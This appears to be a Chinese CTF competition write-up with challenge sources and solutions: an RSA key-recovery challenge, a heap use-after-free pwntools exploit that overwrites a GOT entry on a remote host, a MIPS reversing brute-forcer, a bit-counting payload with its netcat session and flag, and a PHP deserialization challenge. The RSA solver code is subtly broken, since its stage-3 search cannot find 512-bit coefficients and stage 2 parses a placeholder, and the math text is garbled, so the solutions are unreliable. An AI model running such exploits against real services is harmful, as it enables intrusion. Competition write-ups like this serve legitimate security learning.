16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
┃ public key = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
┃ enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
----------------------
┃ stage 3: a*p + q, p + bq
┃ hints = (68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037, 117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
┃ public key = (94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581, 65537)
┃ enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from Crypto.Util.number import *
from secrets import flag
from math import ceil
import sys

class RSA():
def __init__(self, privatekey, publickey):
self.p, self.q, self.d = privatekey
self.n, self.e = publickey

def encrypt(self, plaintext):
if isinstance(plaintext, bytes):
plaintext = bytes_to_long(plaintext)
ciphertext = pow(plaintext, self.e, self.n)
return ciphertext

def decrypt(self, ciphertext):
if isinstance(ciphertext, bytes):
ciphertext = bytes_to_long(ciphertext)
plaintext = pow(ciphertext, self.d, self.n)
return plaintext

def get_keypair(nbits, e = 65537):
p = getPrime(nbits//2)
q = getPrime(nbits//2)
n = p * q
d = inverse(e, n - p - q + 1)
return (p, q, d), (n, e)

if __name__ == '__main__':
pt = './output.txt'
fout = open(pt, 'w')
sys.stdout = fout

block_size = ceil(len(flag)/3)
flag = [flag[i:i+block_size] for i in range(0, len(flag), block_size)]
e = 65537

print(f'[+] Welcome to my apbq game')
# stage 1
print(f'┃ stage 1: p + q')
prikey1, pubkey1 = get_keypair(1024)
RSA1 = RSA(prikey1, pubkey1)
enc1 = RSA1.encrypt(flag[0])
print(f'┃ hints = {prikey1[0] + prikey1[1]}')
print(f'┃ public key = {pubkey1}')
print(f'┃ enc1 = {enc1}')
print(f'----------------------')

# stage 2
print(f'┃ stage 2: ai*p + bi*q')
prikey2, pubkey2 = get_keypair(1024)
RSA2 = RSA(prikey2, pubkey2)
enc2 = RSA2.encrypt(flag[1])
kbits = 180
a = [getRandomNBitInteger(kbits) for i in range(100)]
b = [getRandomNBitInteger(kbits) for i in range(100)]
c = [a[i]*prikey2[0] + b[i]*prikey2[1] for i in range(100)]
print(f'┃ hints = {c}')
print(f'┃ public key = {pubkey2}')
print(f'┃ enc2 = {enc2}')
print(f'----------------------')

# stage 3
print(f'┃ stage 3: a*p + q, p + bq')
prikey3, pubkey3 = get_keypair(1024)
RSA3 = RSA(prikey3, pubkey3)
enc3 = RSA2.encrypt(flag[2])
kbits = 512
a = getRandomNBitInteger(kbits)
b = getRandomNBitInteger(kbits)
c1 = a*prikey3[0] + prikey3[1]
c2 = prikey3[0] + b*prikey3[1]
print(f'┃ hints = {c1, c2}')
print(f'┃ public key = {pubkey3}')
print(f'┃ enc3 = {enc3}')

阶段 1: p+qp+q

在第一阶段中,我们获得了以下信息:

  • 模数 n=p⋅qn=pq
  • 提示 p+qp+q

根据已知信息,我们可以构造一个关于 pp 和 qq 的二次方程:

t2−(p+q)t+pq=0t2−(p+q)t+pq=0

代入 p+q=xp+q=x 和 pq=npq=n,方程变为:

t2−xt+n=0t2−x**t+n=0

通过求解这个二次方程的根,我们可以使用求根公式:

t=x±x2−4n2t=2x±x2−4n

得到两个根 pp 和 qq。一旦确定 pp 和 qq,接着可以计算 ϕ(n)ϕ(n):

ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1)

然后计算私钥 dd:

d≡e−1(modϕ(n))de−1(modϕ(n))

阶段 2: ai⋅p+bi⋅qa**ip+b**iq

在第二阶段,我们得到了多个线性组合形式的提示:

ci=ai⋅p+bi⋅q,对于 i=1,2,…,100c**i=a**ip+b**iq,对于 i=1,2,…,100

这些方程组成了一个线性方程组,我们可以将其表示为矩阵形式,设想我们有矩阵 AA 和向量 xx 和 bb:

A=(a1b1a2b2⋮⋮a100b100),x=(pq),b=(c1c2⋮c100)A=a1a2⋮a100b1b2⋮b100,x=(p**q),b=c1c2⋮c100

我们可以通过解线性方程组 Ax=bAx=b 来恢复 pp 和 qq。如果 AA 的秩为 2,则该方程组有唯一解。

阶段 3: a⋅p+qap+q 和 p+b⋅qp+bq

在第三阶段,我们获得了两个线性方程:

c1=a⋅p+qc1=ap+q

c2=p+b⋅qc2=p+bq

将这两个方程表示为矩阵形式:

(a11b)(pq)=(c1c2)(a11b)(p**q)=(c1c2)

同样地,我们可以通过求解这个 2×22×2 的线性方程组来恢复 pp 和 qq

总结

通过上述步骤,我们可以逐步恢复每一阶段的 RSA 密钥参数,最终通过已知的加密消息 cc 和计算出的私钥 dd,使用以下公式进行解密:

m=cdmod  nm=c**dmodn

整个解密过程依赖于数论和线性代数的交叉应用,通过利用已知结构和线性关系有效地恢复原始消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from crypto.Util.number import *
from gmpy2 import isqrt


def solve_stage1(n, e, ct, pq_sum):
"""
Solve stage 1 where we have p + q
Using: n = p*q and p + q = pq_sum
"""
# Using the quadratic equation: x^2 - (p+q)x + n = 0
# where p+q is known and n is known
a = 1
b = -pq_sum
c = n

# Quadratic formula
discriminant = b * b - 4 * a * c
p = (-b + isqrt(discriminant)) // 2
q = n // p

# Verify our solution
assert p * q == n
assert p + q == pq_sum

# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)


def solve_stage2(n, e, ct, hints):
"""
Solve stage 2 where we have multiple equations of form: ai*p + bi*q = ci
Using LLL to find small solutions
"""
from sage.all import Matrix, ZZ, vector

# We'll use 2 equations for simplicity
a1, a2 = hints[0], hints[1] # These are the results (a*p + b*q)

# Create matrix for LLL
B = Matrix(ZZ, 4, 4)
B[0, 0] = n
B[1, 1] = n
B[2, 2] = 1
B[3, 3] = 1
B[0, 2] = a1
B[1, 3] = a2

# Run LLL
L = B.LLL()

# Search for small vectors that give us p and q
for row in L:
k1, k2, t1, t2 = row
candidate_p = abs(t1)
if candidate_p > 1 and n % candidate_p == 0:
p = candidate_p
q = n // p
if isPrime(p) and isPrime(q):
# Verify our solution
assert p * q == n

# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)

return None


def solve_stage3(n, e, ct, hint1, hint2):
"""
Solve stage 3 where we have: a*p + q and p + b*q
"""
# Let's call hint1 = a*p + q and hint2 = p + b*q
# We can solve this system of equations:
# hint1 = a*p + q
# hint2 = p + b*q

# From hint1: q = hint1 - a*p
# Substitute into hint2:
# hint2 = p + b*(hint1 - a*p)
# hint2 = p + b*hint1 - a*b*p
# p*(1 - a*b) = hint2 - b*hint1
# p = (hint2 - b*hint1)/(1 - a*b)

# Try different values for a and b
for a in range(1, 1000):
for b in range(1, 1000):
if (1 - a * b) == 0:
continue

p = (hint2 - b * hint1) // (1 - a * b)
if n % p == 0:
q = n // p
if isPrime(p) and isPrime(q):
# Verify solution
assert p * q == n

# Calculate private key
d = inverse(e, (p - 1) * (q - 1))
pt = pow(ct, d, n)
return long_to_bytes(pt)

return None


# Parse inputs
n1, e = (
89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589,
65537)
ct1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
pq_sum = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170

# Run solvers
print("[+] Stage 1 solution:")
flag_part1 = solve_stage1(n1, e, ct1, pq_sum)
print(flag_part1)

print("\n[+] Stage 2 solution:")
n2 = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
ct2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
hints2 = [int(x) for x in "...".split(',')] # List of 100 equations
flag_part2 = solve_stage2(n2, e, ct2, hints2)
print(flag_part2)

print("\n[+] Stage 3 solution:")
n3 = 94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581
ct3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
hint3_1, hint3_2 = (
68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037,
117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
flag_part3 = solve_stage3(n3, e, ct3, hint3_1, hint3_2)
print(flag_part3)

最后拼接flag即可

baby_heap

猜猜是不是uaf,打开一看很好啊很好.

1

运行分析

1

IDA分析 看看函数功能和隐藏内容

1

uaf

1

任意地址写

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

#p = process('./pwn')
p = remote("39.106.63.28",20491)
libc = ELF('./libc-2.35.so')

rc=lambda *args:p.recv(*args)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ls=lambda *args:log.success(*args)
ia=lambda *args:p.interactive()
pl=lambda *args:print(*args)
ts=lambda *args:time.sleep(*args)
l8 = lambda x:x.ljust(8,b'\x00')

def malloc(size):
sla(': ','1')
sla('e ',str(size))

def free(idx):
sla(': ', '2')
sla(': ', str(idx))

def show(idx):
sla(': ', '4')
sla(': \n', str(idx))
ru('here \n')

malloc(0x700)
malloc(0x10)
free(1)
show(1)
libc_base_addr = u64(p.recv(8))-0x21ace0
got = libc_base_addr + 0x00000000021A118
sla(': ', '0')
sd(p64(got))
sd(p64(libc_base_addr+libc.symbols['puts']))
sla(': ', '5')
sl('2')
ia()

运行之后不用输命令就会跳出flag

但是这里我很奇怪怎么打本地都打不通,打远程就可以

mips

主要加密在emu里面,是一个类似于rc4加密的加密,找到加密的地址,有花指令恢复一下函数

1

恢复完成,经过动态调试后发现xor_data是动态的,一直调试不清楚,这里面我们选择爆破

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import numpy as np

deadbeef = bytearray([0xDE, 0xAD, 0xBE, 0xEF])

def enc(input_bytes, xor):
SBox = bytearray([
0x36, 0x68, 0x32, 0x44, 0x12, 0x61, 0x6f, 0xdf,
0xba, 0xe9, 0x98, 0x28, 0x3d, 0xa8, 0xe6, 0x1e,
0x4d, 0xf2, 0xb1, 0x7e, 0xc2, 0x6a, 0x96, 0x8c,
0x37, 0x19, 0x14, 0x42, 0xa2, 0x11, 0xe5, 0x5b,
0x9d, 0x23, 0x3, 0x83, 0xf8, 0xd8, 0x9, 0x8a,
0x3c, 0x7d, 0x1a, 0x46, 0x49, 0xdc, 0x76, 0x63,
0x3e, 0x4, 0x9a, 0xc, 0x43, 0x4b, 0x72, 0x5f,
0x53, 0x21, 0x74, 0x66, 0x4f, 0xa7, 0xf6, 0x7b,
0x94, 0xa3, 0x47, 0x8f, 0xf4, 0x52, 0x2a, 0x89,
0x30, 0x33, 0x27, 0x2c, 0xf5, 0x75, 0x17, 0x79,
0x5e, 0x7f, 0x9c, 0xcb, 0x55, 0xbb, 0x60, 0x38,
0xb8, 0xd2, 0xd4, 0x8b, 0xbf, 0x1f, 0x41, 0x45,
0x0, 0x82, 0x69, 0x40, 0xe1, 0x9f, 0xe2, 0xd3,
0x4a, 0x1c, 0x71, 0x62, 0x18, 0x24, 0x97, 0x84,
0xa, 0x8e, 0x3f, 0xf, 0x1, 0x86, 0xe, 0x67,
0xc9, 0x99, 0x88, 0xb0, 0x6e, 0x54, 0x92, 0xef,
0x9b, 0xd5, 0xa5, 0xb, 0xdd, 0xbd, 0xae, 0xcc,
0xc8, 0x3a, 0x65, 0x56, 0xe0, 0xf1, 0x6, 0x1b,
0xfa, 0xbc, 0xc4, 0x91, 0xc1, 0x2e, 0x13, 0xf0,
0x58, 0xee, 0xac, 0xec, 0xa6, 0x26, 0x39, 0xb5,
0xaf, 0xc3, 0x10, 0x5a, 0xd, 0x5d, 0x29, 0x15,
0x6b, 0x50, 0xb2, 0xfe, 0xaa, 0x90, 0xa9, 0x51,
0xd0, 0xb6, 0xc6, 0x34, 0xfc, 0xa0, 0xb3, 0x35,
0xea, 0x7, 0xa4, 0x22, 0x80, 0x6d, 0x81, 0x57,
0x87, 0x25, 0xc7, 0x4c, 0xd6, 0xce, 0x77, 0xd7,
0xad, 0x78, 0x7a, 0x85, 0xa1, 0xf3, 0xe8, 0x5c,
0x73, 0x48, 0xda, 0x31, 0x4e, 0x2d, 0x93, 0x16,
0x2, 0x70, 0x1d, 0xfb, 0xcd, 0xe3, 0xf7, 0x64,
0xf9, 0xc5, 0x8, 0x9e, 0x95, 0x2b, 0xe4, 0x20,
0xd1, 0xfd, 0x7c, 0x2f, 0xbe, 0xb9, 0xdb, 0xde,
0xe7, 0xd9, 0x3b, 0xeb, 0xff, 0xb7, 0xca, 0xb4,
0x5, 0xc0, 0xab, 0xcf, 0xed, 0x6c, 0x8d, 0x59
])

v7 = 0
v8 = 0
v14 = bytearray(256)

for j in range(22):
v12 = SBox[v7 + 1]
v8 += v12
SBox[v7], SBox[v8] = SBox[v8], SBox[v7]
v3 = ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) << 6
v3 ^= 0x0FFFFFFC0
v3 |= ((input_bytes[j + 5] << 7) | (input_bytes[j + 5] >> 1)) & 0xff >> 2
v3 ^= 0x3B
v3 ^= 0x0FFFFFFBE
temp = ((v3 << 5) | (v3 >> 3)) ^ 0xFFFFFFAD & 0xff
temp2 = ((temp << 4) | (temp >> 4)) ^ 0x0FFFFFFDE & 0xff
temp3 = (temp2 << 3) | (temp2 >> 5)
v14[j] = SBox[(SBox[v7] + v12) & 0xff] ^ deadbeef[j & 3] ^ temp3

for i in range(22):
v14[i] ^= xor

return v14[:22]

def bomp():
input_bytes = bytearray("flag{*********************}", 'utf-8')
result = bytearray([
0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
])

result[7], result[11] = result[11], result[7]
result[12], result[16] = result[16], result[12]

for k in range(256):
for i in range(22):
for j in range(256):
input_bytes[5 + i] = j
encrypted = enc(input_bytes, k)
if result[i] == encrypted[i]:
print(chr(j), end='')
break
else:
print("?", end='')
print()

bomp()

21_steps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import re
import random
from secrets import flag
print(f'Can you weight a 128 bits number in 21 steps')
pattern = r'([AB]|\d+)=([AB]|\d+)(\+|\-|\*|//|<<|>>|&|\^|%)([AB]|\d+)'

command = input().strip()
assert command[-1] == ';'
assert all([re.fullmatch(pattern, i) for i in command[:-1].split(';')])

step = 21
for i in command[:-1].split(';'):
t = i.translate(str.maketrans('', '', '=AB0123456789'))
if t in ['>>', '<<', '+', '-', '&', '^']:
step -= 1
elif t in ['*', '/', '%']:
step -= 3
if step < 0:exit()

success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
A = random.randrange(0, 2**128)
wa = w(A)
B = 0
try : exec("global A; global B;" + command)
except : exit()
if A == wa:
success += 1

if success == 100:
print(flag)

先是搞了一个白名单,然后这里继续看规则

1
2
3
4
5
6
7
8
step = 21
for i in command[:-1].split(';'):
t = i.translate(str.maketrans('', '', '=AB0123456789'))
if t in ['>>', '<<', '+', '-', '&', '^']:
step -= 1
elif t in ['*', '/', '%']:
step -= 3
if step < 0:exit()
  • 如果操作符是 >><<+-&^,则将 step 减少1。
  • 如果操作符是 */%,则将 step 减少3。
1
2
3
4
5
6
7
8
9
10
success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
A = random.randrange(0, 2**128)
wa = w(A)
B = 0
try : exec("global A; global B;" + command)
except : exit()
if A == wa:
success += 1

这段代码的目的是在循环中随机生成128位的数 A,计算其汉明重量,只要进行100次的循环都成功即可,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
B=A>>1;
B=B&113427455640312821154458202477256070485;
A=A-B;
B=A&68056473384187692692674921486353642291;
A=A>>2;
A=A&68056473384187692692674921486353642291;
A=A+B;
B=A>>4;
A=A+B;
A=A&20016609818878733144904388672456953615;
B=A>>8;
A=A+B;
B=A>>16;
A=A+B;
B=A>>32;
A=A+B;
B=A>>64;
A=A+B;
A=A&127;
1
2
3
4
root@dkcjbRCL8kgaNGz:~# nc 39.106.63.28 32807
Can you weight a 128 bits number in 21 steps
B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;A=A+B;A=A&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;
flag{you_can_weight_it_in_21_steps!}

Password Game

您不满足 Rule 1: 请至少包含数字和大小写字母

1Ab

您不满足 Rule 2: 密码中所有数字之和必须为18的倍数

18Qa

Rule 2: 密码中所有数字之和必须为30的倍数

540Qa

您不满足 Rule 2: 密码中所有数字之和必须为20的倍数

5150Qa

您不满足 Rule 2: 密码中所有数字之和必须为28的倍数

54019Qa

密码中所有数字之和必须为12的倍数

54519Qa

您不满足 Rule 2: 密码中所有数字之和必须为14的倍数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
